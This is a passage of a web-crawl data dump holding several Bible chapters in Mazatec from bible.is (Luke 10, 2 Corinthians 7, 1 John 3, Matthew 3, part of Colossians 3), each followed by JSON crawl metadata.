'Kia̱ kíchjí‑la̱ nga 'koáa̱ india‑na tsa isa̱ tse si̱kjeheyi.\" 36¿Kósii̱ ra ji̱? Ta ngajàn xi̱ta̱ kìi̱, ¿yá‑ní ra xákjén jè xi̱ta̱ ra isiki'on chijé? 37Jè chji̱ne̱ xa̱jo̱n kitsò: ―Jé‑la xi̱ta̱ ra kjòhi̱ma̱ke. Jesús kitsó‑la̱: ―Ko̱'sín 'tia̱n‑ti ra ji̱. 38'Kia̱ nga tjímaya‑isa a̱ya ndi̱yá Jesús, ijchó jngo ndí na̱xi̱ndá i̱tsé ñánda̱ tíjna ni'ya‑la̱ chjo̱ón ra 'mì Marta. Ya̱á kitsjá'nde‑la̱ nga tsikijna. 39Jè Marta tíjna ìjngo ndichja ra 'mì María. Jè María, ya̱á tsikijna'ta ndsa̱ko̱ Jesús nga kií'nchré‑la̱ 'én ra tí'béna̱jmí. 40Tanga jè Marta, jè xá‑la̱ isa̱ 'ñó isíkájno. Kiì kasi'ta‑la̱ Jesús, kitsò‑la̱: ―Na̱'ìn, ¿a mí makájno‑li nga jè tichjaa̱, ta 'a̱án tímahínè ta̱jngo‑na xá? Ko̱'tìn‑la̱, katabasìko̱‑na. 41Jesús kiìchja̱ kitsò‑la̱: ―Ji̱ Marta, batoó níkájni ko̱ batoó binè‑la̱ xá ijo‑li. 42Tanga ta jngoó kjoa̱ tjín ra 'ñó machjeén. Jè María, jè kafahájìn jè kjoa̱ ra nda tjín; mì kì ma yá ra kjoa̱híxìn‑la̱.\nSan Lucas 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/10","date":"2013-12-11T06:29:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164032243\/warc\/CC-MAIN-20131204133352-00070-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.000006079673767}","num_words":1039,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn 'ndsé ra tsjake̱‑no, tsa ko̱'sín tjín kjoa̱ ra tjínda‑la̱ Nainá ra a̱'ta tsa̱jién, machjeén‑ní nga ki̱ncha'taxín‑lá nga'tsì kjoa̱ ra tjé tjín ra síkitsón‑ná nga sítjé ijo‑ná ko̱ jè inìma̱ tsje‑ná. Kji'tá ni̱chjin kjótsjieé nga isa̱ tsje ki̱tsa̱hijyeé a̱'ta 'tse̱ Nainá nga ko̱'sín ki̱skón‑cheé ra jè. 2Chjíbétjò‑náji̱n ya̱ a̱jin inìma̱‑no. Ji̱n, kjè tsa yá ra ji̱n 'cho niko̱‑ji̱n, ko̱ kjè tsa yá ra kjo̱bítsjen‑la̱ nìkitsón‑ji̱n, ko̱ kjè tsa yá ra ji̱n chìndo̱cha̱‑la̱ji̱n. 3'Kia̱ nga ko̱'sín tíxin‑no, mì tsa mé ra tíbanè jé‑no; ijyeé ko̱'sín kíxin‑no 'kia̱ nga 'sa̱ ítjòn, jiòn‑jiòn, kji'tá ni̱chjin tsjacha‑laji̱n ko̱ ya̱á titsa̱jnakjeé ko̱ ya̱á ki̱yákjeé. 4Ngi 'én kixi̱ kjón‑ní koni 'sín nga tíchjà‑no; 'ñó 'be‑la̱ takoàa̱n ra a̱'ta tsa̱jiòn, 'ñó ma'ñó takoàn ko̱ 'ñó sakó‑na kjo̱tsja ni̱'sín ta mé kjo̱hi'in ra 'se‑naji̱n. 5Skanda 'kia̱ nga 'jíi̱‑ji̱n i̱ nangi Macedonia, kjè tsa mé ra níkjáya‑ji̱n. Kjín sko̱ya kjoa̱ i̱nchibatojin‑ji̱n: jndíi̱ ra ján tjín‑naji̱n kjo̱si; ngi ta kjo̱skoón titsa̱jin ki'ta‑ji̱n. 6Tanga jè Nainá ra ma‑la̱ síje ikon jñà ra inda tjín ikon; jé isìje ikon‑naji̱n 'kia̱ nga 'ji jè Tito. 7Ko̱ mì tsa tà ki‑ni nga 'jiìjkón‑naji̱n nga kjoje takòn‑ji̱n, kií‑te nga 'ñó tsja tjín‑la̱ ra a̱'ta tsa̱jiòn kó'sín nga inije takòn jiòn ra jè. Tsi'kéna̱jmí‑naji̱n nga 'ñó mejèn‑najiòn nga ska̱jieén. 'Koa̱á ti̱ kitsò‑naji̱n nga 'ñó tjín‑najiòn ra kjo̱ba ko̱ nga 'ñó tímakájno‑najiòn ra a̱'ta tsa̱'a̱n. 'Kia̱ nga kí'nchree̱ 'én kìi̱ isa̱á ta 'ñó tsja ki'se-isa‑na. 8Ni̱'sín ta kjo̱ba ítsakatsjí‑najiòn 'kia̱ nga ko̱'sín ísikásén‑no xa̱jo̱n, kixi̱í kjoa̱ kjókájnoó‑na nga ti̱'sa̱ ítjòn ra a̱'ta tsa̱jiòn nga baá ki'se chiba ni̱chjin‑najiòn. Tanga 'ndi̱, mì kì ti̱ tsa tísíkájno‑naa̱. 9Ta isa̱á jnchro, 'ñó tímatsja‑isa‑na, tanga mì tsa ki‑ni matsja‑na nga kjo̱ba tsakatsjí‑najiòn; kií‑ní nga jè kjo̱ba ra tsikitsa̱jnajin jiòn, jé tsasìko̱‑najiòn nga ma iníkájno jè jé‑no ko̱ nga ma tsáfa'ta‑la jiòn Nainá. Tsa ko̱'sín kjo̱ba‑najiòn koni 'sín mejèn‑la̱ Nainá, tsó‑ni kjoa̱ nga mì tsa mé kjoa̱'cho ra tsakjatsji‑la̱ji̱n. 10'Kia̱ nga ko̱'sín maba‑la̱ inìma̱‑ná koni 'sín nga jè Nainá mejèn‑la̱, jé basìko̱‑ná nga ma níkájneé jé‑ná ko̱ mì tsa ti̱ jé fatsji‑ná, mé‑ni nga ma kítjo̱kajieén kjo̱hi'in 'tse̱ jé‑ná, ko̱ mì tsa mé ra a̱skan níkájno‑ná. Tanga tsa 'kia̱ ya̱ nchrabá‑ni kjoa̱ ra síba‑la̱ inìma̱‑ná a̱'ta 'tse̱ kjoa̱ ra tjín ya̱ i̱sà'nde, ta kjo̱biyaá sakó‑ná. 11'Kia̱ nga ko̱'sín kjoba‑la̱ inìma̱‑najiòn koni 'sín nga jè Nainá mejèn‑la̱, jión i̱nchi'ya‑no 'ndi̱‑ni̱ nga 'ñó tse tjín‑ni kjo̱nda ra isakò‑no. Nga̱ 'ñó i̱nchibinè‑la̱ ijo‑no kjoa̱ ra nda tjín, ko̱ 'ñó i̱nchibixkàn‑tjiò ijo‑no nga mì mé kjoa̱ tjín‑no; 'ñó i̱nchinìjticha a̱'ta 'tse̱ kjoa̱ ra 'cho tjín, ko̱ 'ñó tjín‑no kjoa̱ skon, 'ñó mejèn‑no nga ska̱jieén, ti̱'koa̱ 'ñó makájno‑no jè ra a̱'ta tsa̱'a̱n, ko̱ ki'tsí‑la̱ kjo̱hi'in jè xi̱ta̱ ra 'cho ki'sìn. Ta nga'tsì‑ni kjoa̱ kìi̱, 'koa̱á 'sín tsakon jiòn ijo‑no nga mì tsa mé jé tjín‑no ra a̱'ta 'tse̱ kjoa̱ kìi̱. 12'Kia̱ nga ko̱'sín ítsikinda‑najiòn xa̱jo̱n, mì tsa jè ísikítsjee̱n a̱'ta 'tse̱ xi̱ta̱ ra 'cho ki'sìn, ko̱ a̱'ta 'tse̱ jè ra 'cho kjomà'tin. Jé‑ní ra mejèn‑na nga ti̱jiòn kjòn nda katachi̱ya‑no kó'sín nga tsjacha‑náji̱n. 13Jñá nga'tsì kjoa̱ kìi̱ ra 'ñó isìje takòn‑naji̱n. Ni̱'sín isakò‑naji̱n kjoa̱jetakòn ra a̱'ta 'tse̱ kjoa̱ kìi̱, tanga isa̱á ta 'ñó kjotsja-isa‑naji̱n 'kia̱ nga kijcha‑ji̱n jè Tito nga 'ñó tsja tjín‑la̱, ta nga̱tjì‑la̱ nga 'ñó tse kjo̱nda ra isakò‑la̱ ra a̱'ta tsa̱jiòn. 14Ijyeé a̱sa ko̱kíxian‑la̱ jè Tito nga 'ñó 'be‑la̱ takoàa̱n ra a̱'ta tsa̱jiòn ko̱ mì tsa 'cho i̱nchiníkíjna‑nájiòn. Koni 'sín nga ngi 'én kixi̱‑ní nga'tsì jè 'én ra ijye inakjoáko̱‑laji̱n, 'koa̱á ti̱'sín 'én kixi̱ kjomà‑ni jñà 'én ra ko̱tsi'kìn‑la̱ji̱n jè Tito ra a̱'ta tsa̱jiòn. 15Jè Tito, isa̱á ta 'ñó matsjake-isa‑najiòn 'kia̱ nga bítsjen‑la̱ kó'sín nga nda inìhitjasòn‑la. Ko̱ nga 'ñó nda ichjíbétjò jiòn 'kia̱ nga ijchòjkon‑no ko̱ ti̱'koa̱á 'ñó nda kijchaxkón‑te. 16'Ñó matsja‑na nga ko̱'sín nda ma ba'tá takòn‑najiòn ra a̱'ta 'tse̱ ta mé kjoa̱‑ni.\n2 Corintios 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/7","date":"2013-12-10T08:33:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164014017\/warc\/CC-MAIN-20131204133334-00045-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":612,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ndaà kàtasijiìn‑nò, 'ñó ndaà matsjakeè‑ná Nainá xi Na̱'èn‑ná ma, k'oa̱á ma‑ne nga i̱xti‑la̱ tsò‑ná. Ko̱ nguì kixi̱í kjoa̱ nga i̱xti‑la̱ Nainá 'mì‑ná. K'oa̱á ma‑ne nga jñà xi̱ta̱ i̱sò'nde, mìkiì mokjeiín‑la̱ tsà i̱xti‑la̱ Nainá 'mì‑ná, koií kjoa̱‑la̱ nga̱ jñà xi̱ta̱ koi, mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá. 2Jñò ndí 'ndsè xi matsjake̱‑nò, i̱'ndei̱ jyeé ki'ndí‑la̱ Nainá 'mì‑ná. Ta̱nga kj'eè tsà ndaà okó‑ná Nainá kó kjoàn ko̱maá nga ko̱ma i̱skan. Ta̱nga jyeé tíjiìn‑ná nga k'oa̱ ti̱ kjoàn ko̱maá koni kji jè Jesucristo k'e̱ nga ki̱jchò na̱chrjein nga jè xi kjoi̱í ìjngoò k'a‑ne; nga̱ k'oa̱á s'ín jcha̱xkoaán koni kji jè. 3Ngats'iì xi̱ta̱ xi k'oa̱s'ín nchikoña nga k'oa̱á s'ín kjoàn ko̱ma koni kji jè Jesucristo, na̱chrjein nchijòn‑né nga tsjeè nchisíjchá yijo‑la̱ koni s'ín nga xi̱ta̱ tsjeè jè Jesucristo. 4Ngats'iì xi̱ta̱ xi ótsji jé, kondra̱á fì‑la̱ kjo̱tíxoma‑la̱ Nainá. K'e̱ nga jé binchaàtsjiaá, jè kjo̱tíxoma‑la̱ Nainá tìnáchrjenguiaá. 5Jñò, jyeé tíjiìn‑nò nga jè Jesucristo koií xá j'iì‑ne nga jè faáxìn‑ná jñà jé xi tjín‑ná. Ko̱ 'ya‑nò nga jè Jesucristo, ni̱mé jé tsohótsji. 6Ngats'iì xi̱ta̱ xi Cristo títsa̱jnako̱, mìtsà jé ótsji; ta̱nga jñà xi̱ta̱ xi ótsji jé, kj'eè kiì beèxkon ko̱ ti̱koa̱ mìkiì tíjiìn‑la̱ yá‑né xi 'mì Jesucristo. 7Jñò, xi ndí i̱xti‑na̱ xan‑nò, kì kiì biì'nde tsà yá xi skóna̱cha̱n‑nò. Jè xi̱ta̱ xi kjoa̱ kixi̱ s'ín nga nguixko̱n Nainá, xi̱ta̱ kixi̱‑né, koni xi̱ta̱ kixi̱ jè Cristo. 8Ta̱nga jè xi̱ta̱ xi kjit'aà na̱chrjein tíhótsji jé, ts'e̱ xi̱ta̱ nei̱í‑né. Nga̱ jè xi̱ta̱ nei̱í, k'oa̱á s'ín tíhótsji jé skanda ti̱sa̱ tàts'en‑la̱ kjoa̱. Ko̱ koií xá j'iì‑ne Jesucristo xi Ki'ndí‑la̱ Nainá nga jè sikixòña jñà kjoa̱ ch'o xi s'ín jè xi̱ta̱ nei̱í. 9Ngats'iì xi̱ta̱ xi jye Nainá kisìkjatjìya‑la̱ nga ki'ndí‑la̱ Nainá ma, mìtsà ti̱ya̱ títsa̱jnajiìn‑ne jé. Nga̱ jyeé ya̱ tíjnajiìn ini̱ma̱‑la̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá. Ko̱ mì ti̱ kiì ma ko̱hótsji‑jé‑ìsa, nga̱ jyeé ki'ndí‑la̱ Nainá‑né. 10K'oa̱á s'ín ma‑ne nga yaxkon‑la̱ yá‑né xi i̱xti‑la̱ Nainá ko̱ yá‑né xi i̱xti‑la̱ xi̱ta̱ nei̱í; ngats'iì xi̱ta̱ xi mìkiì síkitasòn kjoa̱ kixi̱‑la̱ Nainá, ti̱koa̱ mìkiì tsjakeè beè xi̱ta̱ xíkjín xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱, mìtsà ki'ndí‑la̱ Nainá ma. 11Nga̱ k'oa̱á s'ín tíchja̱ jè 'én xi jye kina'yà k'e̱ nga ti̱sa̱ kòkjeiín‑nò nga sa̱ ítjòn nga tsò: Ngásòn ngáya tsjacha s'e̱én xinguia̱á. 12Mìkiì k'oa̱s'ín s'e̱én koni kis'iìn jè xi̱ta̱ xi ki'mì Caín nga jè xi̱ta̱ nei̱í kiìt'aà‑la̱ nga kisìk'en 'ndse̱. ¿Mé‑ne kisìk'en‑ne 'ndse̱? Tà koií kjoa̱‑la̱ nga jè 'ndse̱, xi̱ta̱ kixi̱‑né nga nguixko̱n Nainá ko̱ jè Caín ch'oó tjín kjoa̱ xi s'ín. 13K'oa̱á ma‑ne k'oa̱s'ín tìxan‑nò jñò ndí 'ndsè, kì maxkón‑nò tsà si̱ìjtikeè‑nò xi̱ta̱ i̱sò'nde xi mìkiì mokjeiín‑la̱ 'én‑la̱ Nainá. 14Jñá jyeé tíjiìn‑ná nga jyeé itjokàjñaá ya̱ ndi̱yá kjoa̱biyaà xi ya̱ tjaáyaá kjòtseé ko̱ jyeé tjín‑ná kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. Nga̱ jyeé k'oa̱s'ín ndaà matsjachaá jñà xi̱ta̱ xinguia̱á xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱. Jè xi̱ta̱ xi mìkiì matsjakeè xíkjín, ndi̱yá kjoa̱biyaá tsóhoya jè ini̱ma̱‑la̱. 15Ngats'iì xi̱ta̱ xi majtikeè xi̱ta̱ xíkjín, k'oa̱á s'ín ngaya‑la̱ koni tsà xi̱ta̱ sík'en. Jñò, ndaá tíjiìn‑nò, jè xi̱ta̱ xi xi̱ta̱ sík'en, mìtsà kjoa̱binachon xi mìkiì fehet'aà tísíjchájiìn yijo‑la̱. 16Jñá, k'oa̱á s'ín 'ya‑ná mé xi 'mì kjo̱tsjacha k'e̱ nga jè Jesucristo kitsjaà kjo̱tjò yijo‑la̱ nga k'en ngajo‑ná. Jñá k'oa̱á ti̱s'ín mochjeén nga s'e̱én i̱t'aà ts'e̱ xi̱ta̱ xinguia̱á koni kis'iìn jè Cristo. 17Tsà tjín jngoò xi̱ta̱ xi tjín‑la̱ tsojmì xi tímochjeén kjit'aà‑la̱, tsà skoe̱ jngoò xi̱ta̱ xíkjín xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱ nga tsjìn‑la̱ tsojmì xi mochjeén‑la̱, tsà mìkiì ma‑la̱ nga ko̱si̱ko̱ jè xi̱ta̱ xíkjín xi i̱t'aà ts'e̱ tsojmì xi tsjìn‑la̱, mìtsà kixi̱ kjoa̱ nga kjo̱tsjacha‑la̱ Nainá tíjnajiìn ini̱ma̱‑la̱. 18Jñò xi ndí i̱xti‑na̱ xan‑nò, ti̱tsjacha xinguio̱o, kì tà 'én nokjoà; nguì ndaá kàta'ya‑la̱ kós'ín matsjacha xinguio̱o nga ti̱si̱ko̱ò mé tsojmì xi mochjeén‑la̱ mé‑ne nga kàta'ya‑la̱ nga kixi̱í kjoa̱ nga ndaà matsjacha xinguio̱o. 19K'e̱ nga k'oa̱s'ín titsa̱'né, k'e̱é jcha̱‑ná nga kixi̱í kjoa̱ nga k'oa̱á s'ín titsa̱nìjchá yijo‑ná koni s'ín tjín kjoa̱ kixi̱‑la̱ Nainá ko̱ 'nchán nìkíjnaá ini̱ma̱‑ná nga nguixko̱n Nainá. 20Na̱s'ín jè ini̱ma̱‑ná jé tíbínè‑ná, ta̱nga jè Nainá, ìsa̱á ndaà tíjiìn‑la̱ mì k'oa̱‑ne koni jè ini̱ma̱‑ná. Nga̱ jè Nainá ìsa̱á ndaà tsejèn yije‑la̱ ngats'iì kjoa̱ xi titsa̱'né. 21Jñò ndí 'ndsè xi matsjake̱‑nò, tsà jè ini̱ma̱‑ná mìtsà ti̱ mé kjoa̱ ch'o tíbínè‑ná, 'ñó tjín takoán nga nguixko̱n Nainá. 22Tsà mé xi si̱jé‑lá Nainá, maá‑la̱ tsjá yije‑ná ni̱ta̱ mé kjo̱ndaà‑ne; nga̱ nìkitasoán kjo̱tíxoma‑la̱, ko̱ k'oa̱á s'ín 'né koni s'ín sasén‑la̱ Nainá. 23Jè kjo̱tíxoma‑la̱ Nainá, jé‑né nga ndaà kàtakjeiín‑ná i̱t'aà ts'e̱ Jesucristo xi Ki'ndí‑la̱ ma, ti̱koa̱ ngásòn ngáya ko̱tsjachaá xinguia̱á koni s'ín jye tsatíxoma‑ná Cristo. 24Jè xi̱ta̱ xi síkitasòn kjo̱tíxoma‑la̱ Nainá, ya̱á tíjnako̱ Nainá, ko̱ jè Nainá ya̱á tíjnajiìn ini̱ma̱‑la̱ xi̱ta̱ jè. K'oa̱á ma‑ne nga 'yaá nga Nainá ya̱ tíjnako̱‑ná, koi kjoa̱‑la̱ nga̱ jye kitsjaà‑ná jè Ini̱ma̱ Tsjeè‑la̱.\n1 Juan 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1John\/3","date":"2013-12-09T07:59:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163936569\/warc\/CC-MAIN-20131204133216-00062-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":753,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni̱chjin kìi̱, ijchó jè Juan ra batíndá xi̱ta̱, ya̱ i̱'nde a̱'ta xìn 'tse̱ Judea ñánda̱ nga nangi kixì nga tsi'kéna̱jmíya jè 'én‑la̱ Nainá, 2nga kitsò: ―Ti̱kájno‑no jè jé ra tjín‑no ko̱ kì ti̱ tsja jé fatsji‑no, nga̱ ijyeé kjochraña'tà‑no ni̱chjin nga jcha̱a kó'sín batéxoma jè ra tíjna ján ngajmi. 3Jè xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé ra tsi'kìn Isaías, 'koa̱á 'sín tsikínda xa̱jo̱n‑la̱ ra a̱'ta 'tse̱ Juan nga kitsò: Jngo xi̱ta̱ ra 'ñó tíchja̱ ya̱ i̱'nde a̱'ta xìn ñánda̱ nga nangi kixì nga tsò: \"Ti̱tsa̱jnanda nga 'kia̱ nga kj'i̱í Na̱'ín‑ná, kixi̱ ti̱kíjna inìma̱‑no koni jngo ndi̱yá kixi̱ ñánda̱ nga ko̱jmeyá Na̱'ín‑ná.\" 4Jñà nikje ra tsakjaya Juan, tsja̱‑la̱ cho̱ camelloó tjínda‑ni. Ko̱ jngo xìncho̱ ra chrja̱ba̱ cho̱ tsikíkjá. Ko̱ jñà tsajmì ra iskine Juan, tsjén‑la̱ cho̱ sera̱ ijñá‑ní ko̱ likò. 5Jñà xi̱ta̱ ra inchrabà‑ni ya̱ Jerusalén ko̱ kóho'ki nga tíjngo ya̱ nangi ñánda̱ 'mì Judea ko̱ jñà i̱'nde ra ya̱ machraña‑la̱ ya̱ ndáje̱ ra 'mì Jordán nga 'jií'nchré‑la̱ jè Juan. 6Jñà xi̱ta̱ kìi̱, 'kia̱ nga isíkájno‑ni jé‑la̱, a̱kjòn jè Juan tsatíndá‑ní ya̱ ndáje̱ Jordán. 7'Kia̱ nga kijtse jè Juan nga 'ñó kjìn xi̱ta̱ fariseo ko̱ xi̱ta̱ saduceo 'ji nga mejèn‑la̱ ko̱tíndá ijo‑la̱, kitsó‑la̱: ―Jiòn, 'koa̱á 'sín ngoya‑no koni tsa tje̱‑la̱ ye̱. ¿Yá ra ko̱kitsò‑no nga ko̱tojin‑no jè kjo̱hi'in ra 'sa̱ nchrabá? 8Ko̱'sín 'tia̱àn kjoa̱ ra nda tjín. Kata'ya‑la̱ nga ijyeé iníkájno jé‑no ko̱ mì ti̱ jé i̱nchifatsji‑no. 9Kì ko̱'sín níkítsjen ya̱ a̱jin inìma̱‑no nga bixó: \"Ngaji̱n, mì kì 'se̱‑naji̱n kjo̱hi'in nga̱ ya̱á nchrabá'ta‑naji̱n ya̱ 'tse̱ Abraham.\" 'Koa̱á xín kixi̱‑no, skanda jñà na̱jo̱ kìi̱, maá‑la̱ Nainá nga i̱xti 'tse̱ Abraham 'si̱in. 10Jè ni̱chjin nga tsjá kjo̱hi'in Nainá, ijyeé kjochraña, 'koa̱á jngoya‑la̱ koni jngo ki̱cha̱yá ra kjijnanda nga kjijna'ta ya̱ kja̱ma̱‑la̱ yá nga ko̱tesòn. Nga'tsì yá ra mì kì nda to bajà‑la̱, jtísòn‑ní; ya̱á si̱nchájin ni'í mé‑ni nga jti̱‑nì. 11Kixi̱í kjoa̱, 'a̱n, ta ko̱ó nandá nga batíndá‑na mé‑ni nga si̱kájno‑no jè jé ra tjín‑no, ko̱ mì ti̱ kì jé kjótsji‑no. Tanga jè ra 'sa̱ nchrabátji̱ngi‑na, ko̱ó Inìma̱ Tsje‑la̱ Nainá nga ko̱tíndá‑no ko̱ ni'í. Isa̱á tse nga'ñó tjín‑la̱ mì 'koa̱‑ni koni ra 'a̱n. Skanda mì kì tjí'nde‑na nga 'a̱n 'koà‑la̱ jñà xa̱jté‑la̱. 12Ijyeé tíjnanda nga kjoa̱hájin xi̱ta̱ ra nda 'sín ko̱ jñà ra mì kì nda 'sín koni 'sín ma 'kia̱ nga matsje jñà tjachó ra 'mì trigo, ki̱ncháxkó ijyeé jñà ra trigo ya̱ a̱ya ni'nga, tanga jè tjé‑la̱, ya̱á ko̱kà ya̱ a̱jin ni'í ra mì kì kji̱'tso skanda tà kjiá‑nioo̱. 13Jesús ya̱á 'ji‑ni ya̱ Galilea nga ijchò ya̱ ndáje̱ ra 'mì Jordán nga ijchòjkon Juan nga mejèn‑la̱ nga sa̱tíndá‑te. 14Jè Juan, 'kia̱ nga ti̱'sa̱ ítjòn, mì kì kjokjiín‑la̱, kitsó‑la̱: ―'A̱án jnchro ra machjeén‑na nga ji̱ ko̱tíndá‑ná. ¿A ta isa̱á ji̱ fíi̱jchòn‑ná? 15'Kia̱á kitsò Jesús: ―Ti̱hitjasòn‑li ra ji̱ 'ndi̱ 'ndi̱, nga̱ machjeén‑ní nga ko̱'sín si̱hitjasén nga'tsì kjoa̱ ra kixi̱ tjín ya̱ ngixko̱n Nainá. 'Kia̱á isìhitjasòn jè Juan. 16'Kia̱ nga ijye isatíndá jè Jesús nga itjokàjin‑ni ya̱ nandá, a̱kjòn itjá'xa̱jin ya̱ ján ngajmi, ko̱ jè Jesús kijtseé jè Inìma̱ Tsje‑la̱ Nainá ra inchrabàjen‑nè nga iskàtje̱nsòn‑la̱, ra koni 'ki tjo̱ni̱ña̱ 'ki. 17'Kia̱á ina'yá jngo‑la̱ 'én ra ngajmi inchrabà‑ni nga kitsò: ―Jé ra̱kìi̱ I'ndí‑na̱ ra 'ñó tsjake̱; 'ñó tsja tjín‑la̱ takoàa̱n ra a̱'ta 'tse̱.\nSan Mateo 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/3","date":"2013-12-04T19:09:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037167\/warc\/CC-MAIN-20131204131717-00025-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":521,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà tjatsjio kjo̱nda ra tjín ya̱ ján ngajmi ya̱ ñánda̱ nga tíbatéxoma Cristo nga tíjna'ta ya̱ nga kixi̱‑la̱ Nainá ta nga̱tjì‑la̱ nga ijyeé ya̱ jaáya‑no ko̱ Cristo. 2Kií ti̱kítsjen ki'ta jñà kjoa̱nda ra tjín ya̱ ján ngajmi; kì tà chjàn jñà níkítsjen jñà kjoa̱ ra ma i̱ i̱sà'nde. 3Nga̱ ijyeé 'ken jiòn ra a̱'ta 'tse̱ i̱sà'nde ko̱ 'ndi̱‑ni̱ jè kjo̱binachon xi̱tse̱ ra tjín‑no, ya̱á tíjnatjòko̱ Cristo ya̱ ngixko̱n Nainá. 4Jè Cristo, jè sabá ra kjo̱binachon‑najiòn. 'Kia̱ nga jè ra ko̱tsíjen india‑ni, ya̱á ta̱ña ko̱tsíjen‑ko̱ jiòn nga ti̱'koa̱ jeya ki̱tsa̱jna. 5Jngo kjá ti̱jchija nga'tsì kjoa̱'cho ra 'ya‑ni ijo jé‑no koni jñà ra kjoa̱chijngi, ko̱ kjoa̱ ra tjé tjín, ko̱ jñà kjoa̱'cho ra síjé ijo‑no ko̱ ta mé‑isa‑ni kjoa̱ ra síkjahajin ijo‑no koni jè‑te nga mejèn‑no tse to̱n 'se̱‑no. Jè kjoa̱ ra̱kìi̱, 'koa̱á jngoya‑ila̱ koni tsa nainá xkósòn 'yaxkón jiòn. 6Nga̱ ya̱á nchrabá‑ni nga ko̱'sín síkjinchrabá kjo̱hi'in Nainá a̱'ta 'tse̱ xi̱ta̱ ra mì kì síhitjasòn‑la̱. 7'Koa̱á ti̱'sín ki'nià‑te jiòn 'kia̱ nga ya̱ tsikitsa̱jion kjoa̱ kìi̱ nga 'sa̱ kjotseé. 8Tanga 'ndi̱‑ni̱ ti̱jmió nga'tsì jñà kjoa̱ kìi̱: jñà ra kjoa̱jtitakòn, ko̱ jñà ra kjoa̱'tse̱n ko̱ jñà kjoa̱ ra 'cho tjín, ko̱ jñà kjoa̱ nga nakjoájno‑la xi̱ta̱, ko̱ nga'tsì 'én 'cho ra sa 'koa̱ nakjoá. 9Kì 'én ndiso chìko̱o jñà xàngio̱o, nga̱ ijyeé itjahíxìn‑no jè kjo̱binachon jchínga‑no ko̱ nga'tsì kjoa̱ ra ki'nià ti̱'sa̱ kjotseé. 10Ko̱ ijyeé jngo kjo̱binachon xi̱tse̱ ichjíbé jiòn koni 'sín 'ki jè Nainá ra tsikínda‑no. Ko̱ jè kjo̱binachon xi̱tse̱ ra tjín‑no tímaxi̱tse̱ya‑ní skanda 'kia̱ nga nda kjòn jcha̱xkon Nainá. 11'Ndi̱‑ni̱ mì tsa ti̱jè 'ñó machjeén‑ni yá‑ni ra xi̱ta̱ griego ko̱ yá‑ni ra xi̱ta̱ judío, yá ra tjí'ta chi̱ba̱ ijo‑la̱ ko̱ yá ra mì kì tsa tjí'ta chi̱ba̱ ra kjoa̱ 'tse̱ circuncisión, yá‑ni xi̱ta̱ ra xìn nangi, ko̱ yá‑ni ra tísíjchá i̱ma̱ ijo‑la̱, ko̱ yá‑ni ra chi̱'nda tíjna'ñó ko̱ yá‑ni ra tíjnandi̱í; ta jé Cristo ra 'ñó chjí‑la̱; nga̱ jé ra tíjnajin ya̱ inìma̱‑la̱ nga'tsì xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱. 12Nainá tsjakeé‑no, ko̱ 'koa̱á 'sín jahájin‑no nga tsikítsa̱hijyo'taxìn‑no nga ngi na̱xi̱ndá tsje‑la̱ ki'sìn‑no. 'Koa̱á ma‑ni nga chjíbé kjoa̱ xi̱tse̱ koni jñà kjo̱hi̱ma̱takòn ra inìma̱‑no katanchrabájin‑ni, 'tia̱àn kjo̱nda ra nda tjín, kì xi̱ta̱ 'nga ikon 'nià, indakjoa̱ 'tia̱àn, ko̱ kata'se‑no kjoa̱jetakòn. 13Katachíkjoa̱‑no nga jngó jngó a̱'ta 'tse̱ xàngio̱o; ko̱ ti̱jchaà'ta‑la̱ xàngio̱o tsa 'kia̱ mé kjoa̱ ra síko̱‑no. 'Koa̱á ti̱'sín 'tia̱àn koni 'sín ki'sìn jè Cristo nga isìhijcha'ta‑no. 14Tanga jè ra tíjna ítjòn a̱'ta 'tse̱ kjoa̱ 